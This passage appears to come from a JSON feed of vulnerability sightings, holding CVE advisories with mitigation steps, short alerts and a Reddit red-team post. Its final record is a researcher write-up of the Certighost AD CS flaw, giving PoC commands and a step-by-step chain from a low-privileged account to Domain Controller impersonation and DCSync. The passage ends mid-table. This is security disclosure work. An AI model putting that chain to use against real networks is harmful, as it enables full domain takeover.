Mitigation\n\n- Upgrade the WebOb library to version 1.8.11 or later.\n- Implement application-layer validation to reject redirection inputs containing leading whitespace or control characters.\n- Deploy Web Application Firewall (WAF) filters to intercept and block anomalous redirection headers.\n\n**Remediation Steps:**\n1. Execute `pip install --upgrade webob` to pull the latest security release.\n2. Confirm requirements.txt or pipfile contains strict pinning of `webob>=1.8.11`.\n3. Verify redirection flows within legacy application code to ensure all redirect functions utilize the standardized validation paths.\n\n## References\n\n- [https://github.com/Pylons/webob/security/advisories/GHSA-6hx8-3wjj-gr8g](https://github.com/Pylons/webob/security/advisories/GHSA-6hx8-3wjj-gr8g)\n- [https://github.com/Pylons/webob/commit/ff89560643fb252751b4db8806a283b5377f1f07](https://github.com/Pylons/webob/commit/ff89560643fb252751b4db8806a283b5377f1f07)\n- [https://github.com/Pylons/webob/tree/1.8.11](https://github.com/Pylons/webob/tree/1.8.11)\n- [https://nvd.nist.gov/vuln/detail/CVE-2026-54770](https://nvd.nist.gov/vuln/detail/CVE-2026-54770)\n- [https://www.cve.org/CVERecord?id=CVE-2026-54770](https://www.cve.org/CVERecord?id=CVE-2026-54770)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54770) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-08-27T23:33:29.052985Z"}, {"uuid": "bf5f434b-d30d-4211-9586-99ee6d008efe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54081", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-54081", "content": "", "creation_timestamp": "2026-07-29T20:15:02.978032Z"}, {"uuid": "8b585655-6d70-4d1c-a1fd-0cacff4c8563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54082", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-54082", "content": "", "creation_timestamp": "2026-07-29T20:15:05.378025Z"}, {"uuid": "5ff1f336-da7b-4337-9adc-4d8c4fb18bfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-54735", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-54735", "content": "", "creation_timestamp": "2026-07-29T20:15:07.768816Z"}, {"uuid": "4b6fade2-855a-4a0a-b939-d52f819ce3e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54712", "type": "seen", "source": "https://gist.github.com/alon710/e40fc20ed683aaeeae74fc5b1a713445", "content": "# CVE-2026-54712: CVE-2026-54712: Uncontrolled Resource Consumption in OpenTelemetry Javaagent RMI Context Propagation\n\n> **CVSS Score:** 5.3\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54712\n\n## Summary\nAn uncontrolled resource consumption vulnerability in the OpenTelemetry Javaagent RMI context propagation mechanism allows remote unauthenticated attackers to cause a Denial of Service (DoS) via heap memory exhaustion.\n\n## TL;DR\nOpenTelemetry Javaagent prior to 2.27.0 allows unauthenticated remote attackers to trigger heap memory exhaustion and Denial of Service (DoS) by sending oversized RMI context propagation payloads.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-400\n- **Attack Vector**: Network (AV:N)\n- **CVSS v3.1 Score**: 5.3 (Medium)\n- **Vulnerability Type**: Uncontrolled Resource Consumption\n- **Exploit Status**: Proof-of-Concept\n- **CISA KEV Status**: Not Listed\n\n## Affected Systems\n\n- OpenTelemetry Javaagent\n- OpenTelemetry Java Instrumentation\n- **OpenTelemetry Java Instrumentation**: >= 2.26.1, < 2.27.0 (Fixed in: `2.27.0`)\n\n## Mitigation\n\n- Upgrade OpenTelemetry Javaagent to version 2.27.0 or later.\n- Disable RMI instrumentation via configuration.\n- Restrict network access to RMI ports using firewalls and security groups.\n\n**Remediation Steps:**\n1. Identify all JVM instances running with the OpenTelemetry Javaagent in versions >= 2.26.1 and < 2.27.0.\n2. If immediate upgrade is possible, download the 2.27.0 Javaagent jar and replace the existing agent jar.\n3. If immediate upgrade is not possible, apply the JVM system property `-Dotel.instrumentation.rmi.enabled=false` or set the environment variable `OTEL_INSTRUMENTATION_RMI_ENABLED=false`.\n4. Restart the affected Java Virtual Machine to apply the changes.\n5. Verify that RMI registry and endpoint ports are firewalled and inaccessible to untrusted external networks.\n\n## References\n\n- [GHSA-fq3f-m5qm-99f5: Uncontrolled Resource Consumption in OpenTelemetry Javaagent RMI Context Propagation](https://github.com/open-telemetry/opentelemetry-java-instrumentation/security/advisories/GHSA-fq3f-m5qm-99f5)\n- [Remediation Patch Pull Request (#17870)](https://github.com/open-telemetry/opentelemetry-java-instrumentation/pull/17870)\n- [Remediation Commit (6ef1880)](https://github.com/open-telemetry/opentelemetry-java-instrumentation/commit/6ef18806d5daa4913619e4cb33d2d7ed6a853c22)\n- [Official Release v2.27.0](https://github.com/open-telemetry/opentelemetry-java-instrumentation/releases/tag/v2.27.0)\n- [NVD Official Vulnerability Record (CVE-2026-54712)](https://nvd.nist.gov/vuln/detail/CVE-2026-54712)\n- [CVE.org Authoritative Vulnerability Detail](https://www.cve.org/CVERecord?id=CVE-2026-54712)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54712) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T20:31:26.638418Z"}, {"uuid": "3cb422c2-72a9-4fcc-9b89-f79c9f6873fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://t.me/GithubRedTeam/95739", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54107\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Pravin761\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 19:22:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-29T21:00:09.697009Z"}, {"uuid": "302a4e01-df72-4676-8291-efb9efb81825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5487", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrsta6necs2q", "content": "CVE-2026-5487 - DriveLock Directory Traversal Information Disclosure Vulnerability\nCVE ID : CVE-2026-5487\n \n Published : July 29, 2026, 8:17 p.m. | 26\u00a0minutes ago\n \n Description : DriveLock Directory Traversal Information Disclosure Vulnerability. This vulnerability allows rem...", "creation_timestamp": "2026-07-29T21:04:16.109343Z"}, {"uuid": "e3937d38-bcb3-4b11-a9e8-15a5cda98a9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5490", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrstf3bwog24", "content": "CVE-2026-5490 - DriveLock SQL Injection Privilege Escalation Vulnerability\nCVE ID : CVE-2026-5490\n \n Published : July 29, 2026, 8:17 p.m. | 26\u00a0minutes ago\n \n Description : DriveLock SQL Injection Privilege Escalation Vulnerability. This vulnerability allows remote attackers to...", "creation_timestamp": "2026-07-29T21:07:00.282279Z"}, {"uuid": "1d3d1a7a-4b85-4fde-b40f-8ab132814610", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5491", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrstkhdrfa2g", "content": "CVE-2026-5491 - DriveLock Directory Traversal Information Disclosure Vulnerability\nCVE ID : CVE-2026-5491\n \n Published : July 29, 2026, 8:17 p.m. | 26\u00a0minutes ago\n \n Description : DriveLock Directory Traversal Information Disclosure Vulnerability. This vulnerability allows rem...", "creation_timestamp": "2026-07-29T21:10:00.678727Z"}, {"uuid": "1ba4b38c-f436-4af0-9876-008137bbdc2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5492", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrstqgfvd32s", "content": "CVE-2026-5492 - DriveLock Directory Traversal Information Disclosure Vulnerability\nCVE ID : CVE-2026-5492\n \n Published : July 29, 2026, 8:17 p.m. | 26\u00a0minutes ago\n \n Description : DriveLock Directory Traversal Information Disclosure Vulnerability. This vulnerability allows rem...", "creation_timestamp": "2026-07-29T21:13:21.121966Z"}, {"uuid": "834eb95b-e461-44fc-8d7f-d8f6c4e715e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54680", "type": "seen", "source": "https://gist.github.com/alon710/6b983b3c12e54633ff798b9f48527899", "content": "# CVE-2026-54680: CVE-2026-54680: Remote Code Execution via Fluentd Configuration Injection in Logging Operator\n\n> **CVSS Score:** 9.9\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54680\n\n## Summary\nA critical security flaw (CVE-2026-54680) in the Kubernetes Logging Operator allows authenticated attackers with namespace-level access to craft malicious Custom Resources that inject arbitrary configuration directives into the downstream Fluentd logging aggregator, resulting in unauthenticated remote code execution (RCE) in the context of the aggregator pod.\n\n## TL;DR\nAuthenticated users with Flow or ClusterFlow creation rights can inject newlines into Logging Operator Custom Resources, enabling downstream Fluentd configuration manipulation and arbitrary command execution.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-74, CWE-77\n- **Attack Vector**: Network\n- **CVSS Score**: 9.9 (Critical)\n- **Exploit Status**: PoC Available\n- **Scope**: Changed\n- **Privileges Required**: Low\n- **Impact**: Remote Code Execution (RCE)\n\n## Affected Systems\n\n- kube-logging/logging-operator\n- **Logging Operator**: < 6.6.0 (Fixed in: `6.6.0`)\n\n## Mitigation\n\n- Upgrade Logging Operator to 6.6.0 or higher.\n- Implement Kubernetes Admission Controller validation policies.\n- Deploy Fluentd with restricted Pod Security Standards.\n\n**Remediation Steps:**\n1. Identify all namespaces with Logging Operator deployments.\n2. Check current versions of the logging-operator controller.\n3. Update helm charts or deployment manifests to pull version 6.6.0.\n4. Deploy Kyverno or OPA policies to block invalid newline characters in Flow and Output resources.\n\n## References\n\n- [GitHub Security Advisory GHSA-mjqf-28ph-426h](https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h)\n- [Vulnerability Fix Commit](https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54680) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-29T23:31:32.281313Z"}, {"uuid": "05d97e9c-2e2c-403b-9f7c-841c4326b706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54107", "type": "seen", "source": "https://t.me/GithubRedTeam/95739", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54107\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Pravin761\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-29 19:22:46\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-30T00:00:08.890074Z"}, {"uuid": "0333d3b4-61ce-46f8-b418-171e8cad266e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54680", "type": "seen", "source": "https://gist.github.com/alon710/6b983b3c12e54633ff798b9f48527899", "content": "# CVE-2026-54680: CVE-2026-54680: Remote Code Execution via Fluentd Configuration Injection in Logging Operator\n\n> **CVSS Score:** 9.9\n> **Published:** 2026-07-29\n> **Full Report:** https://cvereports.com/reports/CVE-2026-54680\n\n## Summary\nA critical security flaw (CVE-2026-54680) in the Kubernetes Logging Operator allows authenticated attackers with namespace-level access to craft malicious Custom Resources that inject arbitrary configuration directives into the downstream Fluentd logging aggregator, resulting in unauthenticated remote code execution (RCE) in the context of the aggregator pod.\n\n## TL;DR\nAuthenticated users with Flow or ClusterFlow creation rights can inject newlines into Logging Operator Custom Resources, enabling downstream Fluentd configuration manipulation and arbitrary command execution.\n\n## Exploit Status: POC\n\n## Technical Details\n\n- **CWE ID**: CWE-74, CWE-77\n- **Attack Vector**: Network\n- **CVSS Score**: 9.9 (Critical)\n- **Exploit Status**: PoC Available\n- **Scope**: Changed\n- **Privileges Required**: Low\n- **Impact**: Remote Code Execution (RCE)\n\n## Affected Systems\n\n- kube-logging/logging-operator\n- **Logging Operator**: < 6.6.0 (Fixed in: `6.6.0`)\n\n## Mitigation\n\n- Upgrade Logging Operator to 6.6.0 or higher.\n- Implement Kubernetes Admission Controller validation policies.\n- Deploy Fluentd with restricted Pod Security Standards.\n\n**Remediation Steps:**\n1. Identify all namespaces with Logging Operator deployments.\n2. Check current versions of the logging-operator controller.\n3. Update helm charts or deployment manifests to pull version 6.6.0.\n4. Deploy Kyverno or OPA policies to block invalid newline characters in Flow and Output resources.\n\n## References\n\n- [GitHub Security Advisory GHSA-mjqf-28ph-426h](https://github.com/kube-logging/logging-operator/security/advisories/GHSA-mjqf-28ph-426h)\n- [Vulnerability Fix Commit](https://github.com/kube-logging/logging-operator/commit/cf437d7f1e056c78740bf5716ac8bdebcf002425)\n\n\n---\n*Generated by [CVEReports](https://cvereports.com/reports/CVE-2026-54680) - Automated Vulnerability Intelligence*", "creation_timestamp": "2026-07-30T00:01:11.099944Z"}, {"uuid": "6e9650e7-c46a-4dca-9e1a-4ad90642af12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54874", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3mtw6xhzfnb2r", "content": "OpenSSL DTLS\u30a8\u30f3\u30c9\u30dd\u30a4\u30f3\u30c8\u306f\u3001\u5c11\u306a\u3044\u30c8\u30e9\u30d5\u30a3\u30c3\u30af\u3067\u7d041.7MB\u306e\u30e1\u30e2\u30ea\u3092\u4fdd\u6301\u3055\u305b\u3089\u308c\u3001\u30e1\u30e2\u30ea\u5897\u5e45\u306b\u3088\u308a\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u30b5\u30fc\u30d3\u30b9\u62d2\u5426\u306b\u9665\u308b\u53ef\u80fd\u6027\u304c\u3042\u308b\u3002\nCVE-2026-54874 CVSS 7.5 | HIGH", "creation_timestamp": "2026-08-25T16:02:31.093676Z"}, {"uuid": "232fb293-f27d-4d1f-a7b7-80c5fc944af7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54745", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mucukcfkxe2t", "content": "\ud83d\udd34 CVE-2026-54745 - Critical (10)\n\nKubeflow Pipelines enables users to build and deploy portable, scalable machine learning workflow...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54745/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-30T17:00:49.104886Z"}, {"uuid": "c3a4b872-88b1-44d6-a318-5ab131fa11de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54754", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mucukjbvsa2l", "content": "\ud83d\udd34 CVE-2026-54754 - Critical (9.6)\n\nKlever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, marketplac...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54754/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-30T17:00:56.192401Z"}, {"uuid": "940a6f37-1648-44a7-b530-2506c0046325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54755", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mucukq7lka2l", "content": "\ud83d\udd34 CVE-2026-54755 - Critical (9.6)\n\nKlever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.19, split-roya...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54755/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-30T17:01:03.593102Z"}, {"uuid": "2567f674-965e-4f7f-a1b2-702cde229c96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54788", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mucxugr2kf27", "content": "\ud83d\udfe0 CVE-2026-54788 - High (7.5)\n\ndd-trace-rs provides Datadog application performance monitoring for Rust. From 0.1.0 until 0.3.3,...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54788/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-30T18:00:11.631162Z"}, {"uuid": "83a38ad7-962e-4d23-97ff-43d823e562d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "exploited", "source": "https://t.me/CyberDispatch/1738", "content": "Attackers exploited CVE-2026-5426 in the KnowledgeDeliver LMS to gain unauthenticated RCE through hard-coded ASP-NET machineKeys, deploy the Godzilla (BLUEBEAM) web shell, and deliver Cobalt Strike Beacon on vulnerable internet-facing systems.", "creation_timestamp": "2026-08-31T00:00:38.263539Z"}, {"uuid": "daccbfce-dca4-4275-b919-3c2b306e3f98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://t.me/hacking_Attack/190113", "content": "Weekly Purple Team: CertiGhost \u2014 Certificate Forging & PKI Lateral Movement\nhttps://www.reddit.com/r/redteamsec/comments/1vee6m8/weekly_purple_team_certighost_certificate_forging/\n\nDropped a new episode this week covering CertiGhost \u2014 a critical vulnerability in Windows Certificate Services that allows attackers to forge certificates and achieve persistent lateral movement across AD infrastructure without needing credentials. On the red team side, we walk through the full exploitation chain: how to leverage CertiGhost to issue rogue certificates for domain controllers and service accounts, then use those certificates to move laterally and establish persistence across your entire environment. On the blue team side, we break down detection \u2014 what certificate issuance anomalies look like in CA logs, what unusual certificate requests fire, and how to build alerting around PKI exploitation. Covers T1649 and T1550.003 with the full red vs. blue format. Resources:  CertiGhost PoC: https://github.com/aniqfakhrul/CVE-2026-54121 NetExec: https://github.com/Pennyw0rth/NetExec  Video: https://youtu.be/srH-SlkL2tA Happy to discuss the exploitation techniques or answer questions about the tradecraft in the comments.    submitted by    /u/Infosecsamurai  (https://www.reddit.com/user/Infosecsamurai) \n [link] (https://youtu.be/srH-SlkL2tA)   [comments] (https://www.reddit.com/r/redteamsec/comments/1vee6m8/weekly_purple_team_certighost_certificate_forging/)", "creation_timestamp": "2026-09-01T20:00:06.349943Z"}, {"uuid": "7f2f7f2d-b3a3-485e-85f0-588d8997f856", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/190113", "content": "Weekly Purple Team: CertiGhost \u2014 Certificate Forging & PKI Lateral Movement\nhttps://www.reddit.com/r/redteamsec/comments/1vee6m8/weekly_purple_team_certighost_certificate_forging/\n\nDropped a new episode this week covering CertiGhost \u2014 a critical vulnerability in Windows Certificate Services that allows attackers to forge certificates and achieve persistent lateral movement across AD infrastructure without needing credentials. On the red team side, we walk through the full exploitation chain: how to leverage CertiGhost to issue rogue certificates for domain controllers and service accounts, then use those certificates to move laterally and establish persistence across your entire environment. On the blue team side, we break down detection \u2014 what certificate issuance anomalies look like in CA logs, what unusual certificate requests fire, and how to build alerting around PKI exploitation. Covers T1649 and T1550.003 with the full red vs. blue format. Resources:  CertiGhost PoC: https://github.com/aniqfakhrul/CVE-2026-54121 NetExec: https://github.com/Pennyw0rth/NetExec  Video: https://youtu.be/srH-SlkL2tA Happy to discuss the exploitation techniques or answer questions about the tradecraft in the comments.    submitted by    /u/Infosecsamurai  (https://www.reddit.com/user/Infosecsamurai) \n [link] (https://youtu.be/srH-SlkL2tA)   [comments] (https://www.reddit.com/r/redteamsec/comments/1vee6m8/weekly_purple_team_certighost_certificate_forging/)", "creation_timestamp": "2026-09-02T01:00:24.606548Z"}, {"uuid": "e0cab26c-c34a-48cf-86d1-dd4ab265f52c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54121", "type": "seen", "source": "https://gist.github.com/zeropart/57ab29ed7b82c7b6608e75de0f84c5a4", "content": "# Certighost (CVE-2026-54121)\n\n**Authors:** [@h0j3n](https://x.com/h0j3n), [@aniqfakhrul](https://x.com/aniqfakhrul)  \n**Date:** July 24, 2026\n\n---\n\nCertighost is an Active Directory Certificate Services (AD CS) vulnerability that allowed a low-privileged domain user to impersonate a Domain Controller and achieve domain compromise in the tested AD CS configuration. The issue was addressed in the July 2026 security updates.\n\nThe vulnerable path is an AD CS enrollment fallback known as a *chase* during directory-object resolution. By supplying request attributes such as `cdc`, an attacker could cause the Certification Authority (CA) to ask an attacker-controlled host for identity data belonging to a Domain Controller. The CA then used that data while issuing a certificate.\n\n\n  \n\n\nThis post explains how the chase path works, why it could be abused, and what changed in the update.\n\n## Introduction to Active Directory Certificate Services\n\nIf you already work with AD CS, feel free to skip ahead. For the rest of the post, it is enough to think of a certificate as a signed proof of identity. Like a Kerberos ticket, it can be presented during authentication to show who a user or computer is supposed to be.\n\nAD CS is Microsoft's public key infrastructure implementation. It integrates with Active Directory and issues X.509 certificates for purposes such as encryption, signing, secure communications, and authentication.\n\nA certificate binds a subject to a public key. The private key stays with the requester, while the certificate contains the public key and identity information signed by a Certification Authority. A service that trusts the CA can use that signature to trust the identity in the certificate.\n\nCertificate templates control the enrollment process. A template decides who may request a certificate, what it can be used for, what identity information must be present, and whether the CA may accept information supplied in the request.\n\nThe relevant piece here is certificate-based client authentication. A client requests a certificate from an Enterprise CA and later presents it to the Key Distribution Center (KDC) to obtain Kerberos credentials.\n\n### PKINIT and certificate mapping\n\nTo make this concrete, consider a small lab domain named `ABC.LOCAL` with AD CS installed. A low-privileged account can request a certificate from a template it is permitted to enroll in, then use that certificate to authenticate to the KDC.\n\n![Requesting and authenticating with a certificate using Certipy](https://gist.github.com/user-attachments/assets/c7d6f12d-d1bc-451c-b861-eb2863060173)\n\n\nRequesting and authenticating with a certificate using Certipy\n\nDuring certificate authentication, the KDC maps the identity in the certificate to an Active Directory account and issues a Kerberos TGT when the mapping succeeds.\n\n## Background: the chase fallback\n\nBefore getting to the bug, we need to look at one enrollment behavior. In some cross-domain-controller enrollment scenarios, the CA may perform a second directory lookup, referred to here as a *chase*.\n\nTwo request attributes influence that lookup:\n\n- `cdc` (Client DC), which identifies the host the CA should contact\n- `rmd` (Remote Domain), which identifies the principal the CA should look up\n\nWhen both attributes are present, the CA contacts the host named by `cdc` over SMB and LDAP, then searches for the principal named by `rmd`. The request-processing path reads these values and passes them into the remote directory lookup.\n\n\n\n  \n\n\n\nWireshark capture showing the CA following the requester-controlled cdc target to the attacker host over SMB/LSA and LDAP.\n\n## The vulnerability: Certighost\n\nThe CA accepted the requester-supplied chase target without first proving that it was the Domain Controller it claimed to be. That made it possible for an attacker to run LDAP and LSA services on a host they controlled, direct the CA to that host, and return directory data for a chosen target principal.\n\nIn the vulnerable flow, the attacker supplies `cdc` and `rmd` in a certificate request. The CA opens SMB and LDAP connections to the address in `cdc`, performs the chase lookup for the principal in `rmd`, and uses the returned identity data while building the certificate.\n\nThe issue is not just the outbound connection. The CA used the response from that host as directory data for the request. In the tested chain, the attacker could return a Domain Controller's `objectSid` and `dNSHostName`. Those values influenced the certificate identity material issued by the CA, including the strong-mapping SID and DNS identity fields used during authentication.\n\nA machine account created through the default `ms-DS-MachineAccountQuota` setting is a valid domain principal. This allowed the attacker-controlled chase endpoint to satisfy the authentication checks needed for the CA to continue, even though it was not the Domain Controller being impersonated.\n\n\n\n  \n\n\n\nVulnerable chase flow: the CA follows requester-controlled cdc, accepts attacker-supplied directory data, and issues certificate identity material for the target DC.\n\nThe diagram follows the three parties involved in the vulnerable chase: the attacker prepares a valid machine account and rogue services, the CA follows the requester-controlled `cdc` target and trusts the returned identity data, and the Domain Controller is then impersonated through certificate-based authentication and replication access.\n\n## Proof of concept walkthrough\n\n### Lab environment\n\nOur test environment contained:\n\n- An AD forest at Windows Server 2016 or later functional level\n- Domain Controller: `WDC01.abc.local` (`192.168.8.128`)\n- Enterprise CA: `abc-WCA01-CA` on `WCA01.abc.local` (`192.168.8.129`)\n- The default `ms-DS-MachineAccountQuota` value of `10`\n- The default `Machine` certificate template with its default access control list\n- An attacker host at `192.168.8.134`\n- One low-privileged Domain Users account: `normaluser`\n\n### Step 1: Install dependencies\n\nThe proof of concept is a self-contained Python script. It requires impacket, cryptography, pyasn1, asn1crypto, and dnspython.\n\n```bash\nsudo pip install --break-system-packages git+https://github.com/fortra/impacket.git cryptography pyasn1 asn1crypto pycryptodome dnspython\n```\n\n### Step 2: Run the proof of concept and observe the result\n\n```bash\nsudo python3 certighost.py \\\n  -d abc.local \\\n  -u normaluser -p '[PASSWORD]' \\\n  --dc-ip 192.168.8.128\n```\n\nThe script discovers the CA and a target Domain Controller, creates a machine account, starts the local LDAP and LSA services, submits the crafted enrollment request, and produces the terminal output shown below.\n\n![Terminal output of a successful Certighost run](https://gist.github.com/user-attachments/assets/7ad0a7a7-edf7-4b50-8c69-7e0c91ed2ae4)\n\n\nTerminal output of a successful Certighost run\n\nAt this point, the attacker has a CA-signed certificate that authenticates as the target Domain Controller in the tested configuration and a Kerberos credential cache for that account.\n\n### Step 3: DCSync\n\nA Domain Controller account has directory replication rights. With the resulting Kerberos credential, the attacker can request account secrets, including the `krbtgt` secret.\n\n![Successful DCSync output showing the `krbtgt` account](https://gist.github.com/user-attachments/assets/64e7a484-87d4-46fc-a3d7-c2b600ffe9cd)\n\n\nSuccessful DCSync output showing the `krbtgt` account\n\n### What the proof of concept does\n\nThe script follows the full chain in one process:\n\n1. It connects to LDAP with the supplied low-privileged account and discovers the CA, Domain Controller, domain SID, and domain GUID.\n2. It creates a machine account through `ms-DS-MachineAccountQuota` and registers the required service principal names.\n3. It starts local LSA and LDAP services. The services relay the CA's authentication challenge to the real Domain Controller so the chase endpoint is accepted as a valid domain principal.\n4. It submits a certificate request containing the `cdc` and `rmd` attributes.\n5. It receives a certificate carrying identity material for the target Domain Controller, including SID and DNS-name data used by the authentication flow.\n6. It uses the certificate to authenticate as the target Domain Controller and writes the resulting credential cache.\n\n## Post-update behavior\n\nThe July 2026 update changes the CA-side request path. Before continuing a chase, the CA validates the supplied `cdc` target against Active Directory.\n\nThe update adds a validation step to the principal-loading path. When the validation gate is active, the CA checks that the hostname supplied in `cdc` resolves to a legitimate Domain Controller computer object in the real directory before it continues the chase. A validation failure takes the request down an error path rather than the chase continuation.\n\n| Component | Before the update | After the update |\n|---|---|---|\n| Chase target | The CA followed the requester-supplied target | The CA 